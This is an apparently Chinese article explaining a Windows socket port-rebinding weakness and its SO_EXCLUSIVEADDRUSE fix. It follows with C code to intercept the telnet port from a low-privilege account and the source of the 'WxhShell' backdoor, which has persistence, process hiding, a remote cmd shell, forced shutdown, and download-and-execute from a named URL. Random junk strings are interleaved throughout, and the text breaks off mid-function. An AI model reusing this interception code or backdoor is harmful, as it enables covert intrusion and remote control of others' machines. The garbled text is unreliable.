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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: orFwy! s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); {^z73Gxt, UZI:st
saddr.sin_family = AF_INET; o]q~sJVk6 u]Ku96! saddr.sin_addr.s_addr = htonl(INADDR_ANY);
6sBt6?_T m ol,iM*l bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); zr/v .$< A?H#bRAs 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Hu"$)V 509T?\r 这意味着什么?意味着可以进行如下的攻击: ]SCHni_ ^eh.Iml'@ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 7GOBb| -G.N 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ]p`y l8FJ \5'M 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 E`o_R=% lxyTh'
4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 "E\vdhk ,~Mf2Y#m0p 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ^%$IdDx zMv`<m% 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 -D~K9u]U_ VcrMlcnO 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 @Chl>s $|=|"/ #include ]lwf6' #include +MX~1RU+ #include ',r` )9o #include LP"g(D2'n DWORD WINAPI ClientThread(LPVOID lpParam);
UjI./"]O int main() NV*
2 { kG/1 WORD wVersionRequested; <=NnrZOF DWORD ret; _d]{[&
p4t WSADATA wsaData; 1kvX#h&V BOOL val; FOQ-KP\=, SOCKADDR_IN saddr; )/jDt dI SOCKADDR_IN scaddr; gy}3ZA*F int err; K=N&kda SOCKET s; dHDtY$/_ SOCKET sc; 3gUY13C}:p int caddsize; y||
n9 HANDLE mt; 9i\RdJv. DWORD tid; R4'.QZ-x wVersionRequested = MAKEWORD( 2, 2 ); 3+Lwtb}XPF err = WSAStartup( wVersionRequested, &wsaData ); a51(ySC}<s if ( err != 0 ) { ;\7`G!q printf("error!WSAStartup failed!\n"); rr
tMd return -1; k* C69 } l$gJ^Wf2gY saddr.sin_family = AF_INET; 4;6"I2;zfG =3035{\ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Fqeqn[, }k VC]+ saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); }dN\bb{# saddr.sin_port = htons(23); j\>&]0-Iq if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ".>#Qp% { GJB+]b- printf("error!socket failed!\n"); u&l;\w return -1; `,V&@}&"n } 6>WkisxG val = TRUE; jWUrw //SO_REUSEADDR选项就是可以实现端口重绑定的 { 4j<X5V if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) :zU4K=kR { E{Wn&?i>A printf("error!setsockopt failed!\n"); k9
r49lb return -1; c +]r } vFe=AY<Rt| //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; t\/H. Hb //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 E<yQB39 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 (d&" @ 1'hpg>U if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) wo&IVy@s$ { 5$U 49j ret=GetLastError(); 0aY|: printf("error!bind failed!\n"); oO
tjG3B({ return -1; &E]) sJ0 } %Ik5|\ob? listen(s,2); JYc:@\
while(1) ;j T{<
Y { 12
) caddsize = sizeof(scaddr); rPB Ju0D" //接受连接请求 q?j7bp] sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); e)HFI|> if(sc!=INVALID_SOCKET) >J9Qr#=H2 { E/H9# mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); @g[ijs\ if(mt==NULL) Ov(k:"N { ]4t1dVD printf("Thread Creat Failed!\n"); Xn"#Zy_ break; #bd=G(o~6 } 1jx?zvE, } OFohyy( CloseHandle(mt); Tcy9oYh!Pn } &5HI closesocket(s); yFAUD
ro WSACleanup(); QO$18MBcc return 0; <@M5 C-hH } ^h_rE
|c DWORD WINAPI ClientThread(LPVOID lpParam) J)g
+I { /[Nkk)8- SOCKET ss = (SOCKET)lpParam; "I=Lbh-` SOCKET sc; <RxxGD unsigned char buf[4096]; N n_b SOCKADDR_IN saddr; t]sk[ long num; }D1?Z7p DWORD val; HxR5&o DWORD ret; CM~x1f *v //如果是隐藏端口应用的话,可以在此处加一些判断 =&g:dX|q8 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 @[D5{v)S saddr.sin_family = AF_INET; C,ldi"| saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); lGet)/w;c saddr.sin_port = htons(23); ZW))Mx#K=T if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) E7$ aT^ { *vNAm(\N printf("error!socket failed!\n"); W DnNVE return -1; k Jz^\Re } k7JC~D
E# val = 100; "S@]yL
if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \V~B+e { XFFm'W6@ ret = GetLastError(); +v%+E{F$+ return -1; y@}WxSK*0 } 9|jMN
j]vo if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) l/?bXNt { C| ret = GetLastError(); cm!vuoB~~ return -1; iJZvVs', } * k\;G? if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) L]YJ#5 { VVF9X(^rQ printf("error!socket connect failed!\n"); e<DcuF<ZS closesocket(sc); ybf,pDY#f closesocket(ss); pvWNiW:~k return -1; ^!m%:r7Dr } l(MjLXw5 while(1) pl}W|kW} { Cf 202pF3y //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 0}Kyj"-3 //如果是嗅探内容的话,可以再此处进行内容分析和记录 5-4 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 v%#@.D!) num = recv(ss,buf,4096,0); )"Ujx`]4r if(num>0) f!7fz~&Sh send(sc,buf,num,0); ./tZ*sP: else if(num==0) JrxQ.,*i break; :MYLap&L& num = recv(sc,buf,4096,0); [$6YPM>Ee if(num>0) ;Gp9
? 0 send(ss,buf,num,0); U4"&T,'lTL else if(num==0) )REegFN@ break; 55b/giX } ;Gu(Yoa}y closesocket(ss); "MPS&OK closesocket(sc); =g%<xCp return 0 ; a/CY@V- } rZAP3)dA 9G1ZW=83 zl, Vj%d ========================================================== vqF=kB"P F.Bij8\ 下边附上一个代码,,WXhSHELL !;t6\Z8& D3tcwjXoW_ ========================================================== Qp@}v7Due ^c}kVQ\g3 #include "stdafx.h" N+]HJ`K 6 {`J I #include <stdio.h> FrRUAoFO #include <string.h> A(XX2f!i #include <windows.h> 29z@ ! #include <winsock2.h> XB[EJGaX #include <winsvc.h> !(S.7#-r #include <urlmon.h> oh:.iL}j ?:5/4YC #pragma comment (lib, "Ws2_32.lib") (s+}l? #pragma comment (lib, "urlmon.lib") )*}?EI4. @]]\r.DG #define MAX_USER 100 // 最大客户端连接数 V2yX;u #define BUF_SOCK 200 // sock buffer G[d]t$f= #define KEY_BUFF 255 // 输入 buffer 6 G,cc zo
]-,u #define REBOOT 0 // 重启 uowdzJ7 #define SHUTDOWN 1 // 关机 x=W5e
^0? : t
D`e< #define DEF_PORT 5000 // 监听端口 ;Rxc(tR!n aMK\&yZD #define REG_LEN 16 // 注册表键长度 -23sm~` #define SVC_LEN 80 // NT服务名长度 dM -<aq NwKj@ Jos // 从dll定义API {H=<5 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); &j"_hFhv typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ND3|wQ`M0 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); r.]IGE| typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); pCeCR V_4=0( // wxhshell配置信息 MHCwjo" struct WSCFG { CQ{pv3) int ws_port; // 监听端口 /BS yanro char ws_passstr[REG_LEN]; // 口令 $}H,g}@0 int ws_autoins; // 安装标记, 1=yes 0=no *]Eyf") char ws_regname[REG_LEN]; // 注册表键名 sZ"(#g;3< char ws_svcname[REG_LEN]; // 服务名 Wq25, M' char ws_svcdisp[SVC_LEN]; // 服务显示名 ayg^js2, char ws_svcdesc[SVC_LEN]; // 服务描述信息 V>4v6)N char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Vc8w[oS int ws_downexe; // 下载执行标记, 1=yes 0=no B;<zA' 1 char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" a 4?c~bs char ws_filenam[SVC_LEN]; // 下载后保存的文件名 KO))2GET e[QEOx/-h2 }; yx<-M 4^^=^c // default Wxhshell configuration Gg^gK*D struct WSCFG wscfg={DEF_PORT, pe!"!xJE "xuhuanlingzhe", R$2\Xl@qQF 1, ;Yt'$D*CP "Wxhshell", `@&WELFv{ "Wxhshell", GCrsf "WxhShell Service", EO/TuKt "Wrsky Windows CmdShell Service", ,H/BW`rL]# "Please Input Your Password: ", N.V5>2 1, $b) k " http://www.wrsky.com/wxhshell.exe", ] `;Fc8$ "Wxhshell.exe" OFZo"XtF }; *b`1+~p_2
[1e/@eC5 // 消息定义模块 5hDm[*83 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; bW GMgC char *msg_ws_prompt="\n\r? for help\n\r#>"; 8wCB}q C char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; ,}^FV~ char *msg_ws_ext="\n\rExit."; Rz<'&Z>; char *msg_ws_end="\n\rQuit."; \mFgjPz char *msg_ws_boot="\n\rReboot..."; H96|{q= char *msg_ws_poff="\n\rShutdown..."; Jb|dpu/e char *msg_ws_down="\n\rSave to "; @f#6Nu k4JTc2b char *msg_ws_err="\n\rErr!"; ^HWa owy= char *msg_ws_ok="\n\rOK!"; .p78
\T NC"X{$o2 char ExeFile[MAX_PATH]; ,H]S-uK~ int nUser = 0; (Wn^~-`=+ HANDLE handles[MAX_USER]; Xz'o<S int OsIsNt; p-6T,') 5[`f(; SERVICE_STATUS serviceStatus;
*n9=Q9 SERVICE_STATUS_HANDLE hServiceStatusHandle; e'3y^Vg M?qvI // 函数声明 &3 x
[0DV int Install(void); K*tomy int Uninstall(void); xE6hE'rh.O int DownloadFile(char *sURL, SOCKET wsh); *3(mNpi{_ int Boot(int flag); T?*f}J void HideProc(void); riSgb=7q9 int GetOsVer(void); M
~6$kT int Wxhshell(SOCKET wsl); /b."d\ void TalkWithClient(void *cs); 3oPyh $* int CmdShell(SOCKET sock); C!|Yz=e int StartFromService(void); fjqd16{Q int StartWxhshell(LPSTR lpCmdLine); >UXNR`? N LSJ
D VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); x.q "FXu VOID WINAPI NTServiceHandler( DWORD fdwControl ); L1MG("R 3#{Al[jq // 数据结构和表定义 XJA];9^ SERVICE_TABLE_ENTRY DispatchTable[] = Z1U@xQj { rotu#?B {wscfg.ws_svcname, NTServiceMain}, CE|rn8MB {NULL, NULL} Ime"}*9 }; PebyH"M( ]9}^}U1." // 自我安装 "|/Q5*L int Install(void) a6 "-,Kg { dlioa Yc char svExeFile[MAX_PATH]; d*LW32B@ HKEY key; zCmx 1Djz strcpy(svExeFile,ExeFile); ,b t
j6hg rb]?"lizi // 如果是win9x系统,修改注册表设为自启动 |}o3EX if(!OsIsNt) { x-~=@oiv if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Am"&ApK RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5wC,:c[H7 RegCloseKey(key); B|r' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -7VQ{nC RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2CV? cm RegCloseKey(key); yg82a7D return 0; ^MvBW6#1 } !d1a9los } pzeCdHF } JD]uDuE else { A(+%DZ h*\u0yD) // 如果是NT以上系统,安装为系统服务 [-VIojs+u SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @jKB[S;JSn if (schSCManager!=0) &W*^&0AV { f%rZ2h) SC_HANDLE schService = CreateService wotw nE ( sAoxLI schSCManager, BCh|^Pk wscfg.ws_svcname, ">vi=Tr wscfg.ws_svcdisp, #GzowI' SERVICE_ALL_ACCESS, 9u%(9Ae SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Dv~jVI Xu SERVICE_AUTO_START, !gJw?(8" SERVICE_ERROR_NORMAL, <4582x,G svExeFile, m%s:4Z%= NULL, 0x fF NULL, 7\yh<?`V8 NULL, k +Cwnp NULL, ]#vi/6\J NULL sEi9<$~R@0 ); Yw_!40` if (schService!=0) ZWQ/BgKB { Hz>Dp
! CloseServiceHandle(schService); l_Zx'm CloseServiceHandle(schSCManager); ^ U~QQ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8k;il54# strcat(svExeFile,wscfg.ws_svcname); #gXxBM if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { iWIq~t*,H] RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); }lGui>/D RegCloseKey(key); Y}
6@ w return 0; Zr[B*1,ZV } `Ay:;I } mp
z3o\n CloseServiceHandle(schSCManager); ~JO.h$1C } >~_)2_j } eg24.W9c N! I$Qtr, return 1; Q"H/RMo- } L2OR<3*|Av z, n[}Q#u // 自我卸载 hw=~%f; int Uninstall(void) &d\ y:7 { =Q*3\)7 HKEY key; }
| <
pZwM if(!OsIsNt) { ],Yy)<e. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /@I`V?Q!a RegDeleteValue(key,wscfg.ws_regname); 6"R'z#{OF RegCloseKey(key); %< `D'V@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9dWz3b1[] RegDeleteValue(key,wscfg.ws_regname); 4eJR=h1 RegCloseKey(key); L$,yEMCe return 0; W||&Xb } Nnq1&j"m } iUk#hLLC } (%mV,2|:20 else {
Z58{YC Y PbsxjP SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); D"%> if (schSCManager!=0) I5 qrHBJ > { QNH3\<IS SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); z"Mk(d@-E if (schService!=0) m"QDc[^Ge { <~uzKs0 if(DeleteService(schService)!=0) { 8|zOgn{ CloseServiceHandle(schService); c3r`T{Kf CloseServiceHandle(schSCManager); AREjS$ return 0; bF5"ab0 } <_#2+7Qs CloseServiceHandle(schService); f+8 QAvh } 'gHg&E9E& CloseServiceHandle(schSCManager); Xj~%kPe } ~S\> F\v6' } ;#:AM; dCeLW return 1; Nd&UWk^ } XK})?LTD
n>w<vM // 从指定url下载文件 Np aS2q-d int DownloadFile(char *sURL, SOCKET wsh) IdK<:)Q { n2EPx(~ HRESULT hr; Hq!|r8@6 char seps[]= "/"; *ifz@8C } char *token; 5{Q9n{dOh char *file; p4
=/rkq char myURL[MAX_PATH]; :q?#$? char myFILE[MAX_PATH]; e.~11bx 3&nN;4~Zx6 strcpy(myURL,sURL); 57-Hx; token=strtok(myURL,seps); Rc
&m4|cw7 while(token!=NULL) G? XS-oSv { O1bW, n( file=token; ;lvcg)}l token=strtok(NULL,seps); T6QRr}8`/J } uxB` ex6R=97uA GetCurrentDirectory(MAX_PATH,myFILE); hzRKv6 strcat(myFILE, "\\"); g5lb3`a3 strcat(myFILE, file); tRZ4\Bu send(wsh,myFILE,strlen(myFILE),0); K/K-u send(wsh,"...",3,0); I]E 3&gnC hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Qd{8.lB~LQ if(hr==S_OK) qR_>41JU" return 0; *3rs+0 else ft$RF return 1; |`t 6lVO,Z 5doi4b>]! } {ywwJ uYWD.]X;[ // 系统电源模块 (zsv!U int Boot(int flag) F"UI=7:o { O9p s?{g HANDLE hToken; 40pz <-B TOKEN_PRIVILEGES tkp; D>-r `
-0x Q'1I if(OsIsNt) { x7U=1y( OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); XbB(<\0+ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); iER@_? tkp.PrivilegeCount = 1; ".N+nM~ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ]%FAJ\ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); a4*976~![ if(flag==REBOOT) { p6R+t]oH if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /s}
"0/Y\ return 0; {(!JYz~P } 1l"2 ~k else { rM"27ud[`_ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) HE%/+mZN return 0; bWAa:
r } q\]X1N } FK593z else { ?-vWNv if(flag==REBOOT) { [`t ;or if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) C5 Q!_x( return 0; U/^#nU., } b%%r`j,'JE else { Cj<8r S4+ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Z|%h-~ return 0; _X~O6e-! } (8)9S6 } 4&sf{tI ?'z/S5&j return 1; CV.|~K0O } %,_ZVgh0 Xt<1b // win9x进程隐藏模块 ]i$y;]f void HideProc(void) :sJ7Wok6~ { C| ~A]wc= 2cH RiRT HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); d\l{tmte if ( hKernel != NULL ) 7I
XWv- { j2<+[h- pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ~TEn + ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .R)P
|@z L FreeLibrary(hKernel); uC^)#Y\" } \&hq$ z3K$gEve return; dAx
? , } <1l%| (.cA'f?h // 获取操作系统版本 HS/.H,X int GetOsVer(void) .Y;f9R { _ZK^JS OSVERSIONINFO winfo; N*}soMPV^. winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); N68$b#9Ry GetVersionEx(&winfo); k`8O/J if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) !SW0iq[7j return 1; <@KIDZYC else <&l$xn return 0; MmN{f~Kq9 } XNWtX-[^@ e^>>"tr // 客户端句柄模块 ['=O>YY int Wxhshell(SOCKET wsl) V%r`v%ktF { S
F*C' SOCKET wsh; <v|"eq} struct sockaddr_in client; +ig%_QED[\ DWORD myID; ]O"f % r6Yd"~ n while(nUser<MAX_USER) ly17FLJ]. { k8+J7(_c int nSize=sizeof(client); hhy+bA} wsh=accept(wsl,(struct sockaddr *)&client,&nSize); id1cZig if(wsh==INVALID_SOCKET) return 1; z/1$G" =#Sw.N handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); C!*!n^qA if(handles[nUser]==0) = 'o3 <} closesocket(wsh); 0w3c8s. else s Z[[ymu8 nUser++; ju{Y6XJ) } B-rE8\ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ?[Lk]A&"L2 CW
&z?B ra return 0; #y:D{%Wp } g8##Be 51q|-d // 关闭 socket "CJ~BJI% void CloseIt(SOCKET wsh) _Hv+2E[4Z { PR.3EL closesocket(wsh); ,*XB11P nUser--; Q%JI-&K ExitThread(0); ~Kw#^.$3T } ~V8z%s@ #{q.s[g*+1 // 客户端请求句柄 d2`g,~d void TalkWithClient(void *cs) P"_/P8 { RhE~-b[X Ik0g(-d SOCKET wsh=(SOCKET)cs; \FVfV`x char pwd[SVC_LEN]; \"a{\E,{; char cmd[KEY_BUFF]; aV'bI char chr[1]; ;t{q]"? W int i,j; ?uq`| 1` ApCU|*r) while (nUser < MAX_USER) { WPL@v+
Jp=fLo 9 if(wscfg.ws_passstr) { xQu|D>kv87 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); JI5o~;}m //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); t@qf/1 //ZeroMemory(pwd,KEY_BUFF); 9=>fx i=0; eO!9;dJ while(i<SVC_LEN) { 1#A$&'&\J; 53])@Mmus // 设置超时 7=CkZ&(? fd_set FdRead; pmNy=ZXx struct timeval TimeOut; 0kkDlWkzo FD_ZERO(&FdRead); =8\.fp FD_SET(wsh,&FdRead); P1-eDHYw TimeOut.tv_sec=8; bC<W7qf]} TimeOut.tv_usec=0; Y$=jAN int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
? }M81 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,;`f* # Tlw'05\{J if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7Z6=e6/\ pwd =chr[0]; ,|]JaZq if(chr[0]==0xd || chr[0]==0xa) { ~#pATPW@( pwd=0; FJ;I1~?? break; YaC%69C' } $H)^o! i++; ^e.-Ji } v-{g UT<e/ // 如果是非法用户,关闭 socket 5RP kAC if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $'J3
/C7 } 6zi>Q?] 1 <CyU9`ye send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]q]xU, send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n=.P46| G !q[NRu while(1) { 1t
R^ !"L.g u-' ZeroMemory(cmd,KEY_BUFF); m{/7)2. C-&ymJC| // 自动支持客户端 telnet标准 f<YYo j=0; Q\$3l'W while(j<KEY_BUFF) { %2\Hj0JQQ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <3;p>4gN cmd[j]=chr[0]; %O"8|ZG9{ if(chr[0]==0xa || chr[0]==0xd) { IzP,)!EE cmd[j]=0; :7v'[b break; QUrPV[JQ } y)G-6sZ/ j++; -> cL) } >P/36' k#].nQG
// 下载文件 --5F*a{R| if(strstr(cmd,"http://")) { [l23b{ send(wsh,msg_ws_down,strlen(msg_ws_down),0); q(KjhM if(DownloadFile(cmd,wsh)) g>lZs send(wsh,msg_ws_err,strlen(msg_ws_err),0); -vvyG else @-$8)?`q send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nKx)R^]k } Tuln#<: else { [9; @1I<x UqP{Cyy{ switch(cmd[0]) { Gw*Tz" {&51@UX // 帮助 /(dP)ysc case '?': { |mEWN/@C send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,Bk5(e break; ]~TsmR[ } }HgG<.H> // 安装 @>2pY_ case 'i': { +9_Y0<C if(Install()) &hOz(825r send(wsh,msg_ws_err,strlen(msg_ws_err),0); -%asHDQ{ else p*
>z:= send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }3(!kW break; )Qbd/zd\U } owAO&"C // 卸载 }p)K6!J0 case 'r': { @oXGa>Ru if(Uninstall()) Y}?8 send(wsh,msg_ws_err,strlen(msg_ws_err),0); ula-o)S else ')m!48 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jP+yN| break; /v{+V/'+ } qN!oN* // 显示 wxhshell 所在路径 9zp!lw~;+ case 'p': { &,nv+>D char svExeFile[MAX_PATH]; wI%M3XaBws strcpy(svExeFile,"\n\r"); B8@mL-Z-; strcat(svExeFile,ExeFile); i^s Vy send(wsh,svExeFile,strlen(svExeFile),0); S6~y!J6Ok4 break; nS+Rbhs } ;ArwEzo( // 重启 CFtQPTw case 'b': { }%wd1`l7 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3lP;=*m. if(Boot(REBOOT)) 'a~@q~! send(wsh,msg_ws_err,strlen(msg_ws_err),0); feej'l }F else { 2dn^K3 closesocket(wsh); 7({)ou x ExitThread(0); <kn2 } -C=0Pg]ga break; 78&|^sq } "5hk%T' // 关机 U&^q#[' case 'd': { )jM%bUk,! send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0m@+ &X>w if(Boot(SHUTDOWN)) -Jd|H*wWo send(wsh,msg_ws_err,strlen(msg_ws_err),0); )qWwh)\;! else { n:@!vV
closesocket(wsh); vW+6_41ZM ExitThread(0); `ecseBn3d } ({uW-% break; ]Ry9{: } }[p{%:tP // 获取shell PgBEe
@. case 's': { '.A!IGsj CmdShell(wsh); vX+oZj
closesocket(wsh); DX_mrG ExitThread(0); e(c\ U}& break; _4S^'FDo
} "hIYf7r## // 退出 $WA wMS, case 'x': { !>`Q]M` send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); mF7Ak&So^ CloseIt(wsh); G~9m,l+ break; ]2AOW}= } @Z5q2Q // 离开 k/K)nH@) case 'q': { s QDgNJbU send(wsh,msg_ws_end,strlen(msg_ws_end),0); 'HA{6v,y closesocket(wsh); #6 M]tr WSACleanup(); 5y#,z`S exit(1); E_,/)U8 break; E0Wc8m " } T7[@ lMa? } O
NabL.CV } {cK<iQJ -^p{J
TB+ // 提示信息 DE(XSzX if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]*0zir/ } u~uzKG } vhe Y
F@ TvU
z^ return; +=tdgw/ } Wf~^,]9N )GB#"2 // shell模块句柄 nrEI0E9 int CmdShell(SOCKET sock) _>gz& { ]ch=@IV STARTUPINFO si; )nN!% |J ZeroMemory(&si,sizeof(si)); GS;GJsAs si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; pc`P;Eui si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^y5A\nz& PROCESS_INFORMATION ProcessInfo; [$y(>]~. char cmdline[]="cmd"; dX[I
:,z* CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); j=sfE qN). return 0; TKZtoQP% } TOG:`FID *xnZTj: // 自身启动模式 N[{rsUBd int StartFromService(void) Z-@nXt { &L6Ivpj- typedef struct N/a4Gl( { |Ajd$+3 DWORD ExitStatus; J;4x$BI DWORD PebBaseAddress; UP](1lAf DWORD AffinityMask; %
km<+F=~ DWORD BasePriority; Mh%{cLM ULONG UniqueProcessId; $QJ3~mG2 ULONG InheritedFromUniqueProcessId; *i"9D: } PROCESS_BASIC_INFORMATION; xm m,-u o/AG9|()4 PROCNTQSIP NtQueryInformationProcess; ~j!n`#.\ OUv )`K static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; P\"kr?jZP static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; T?3Q<[SmI J= A)]YE HANDLE hProcess; [S6u:;7 PROCESS_BASIC_INFORMATION pbi; _}[
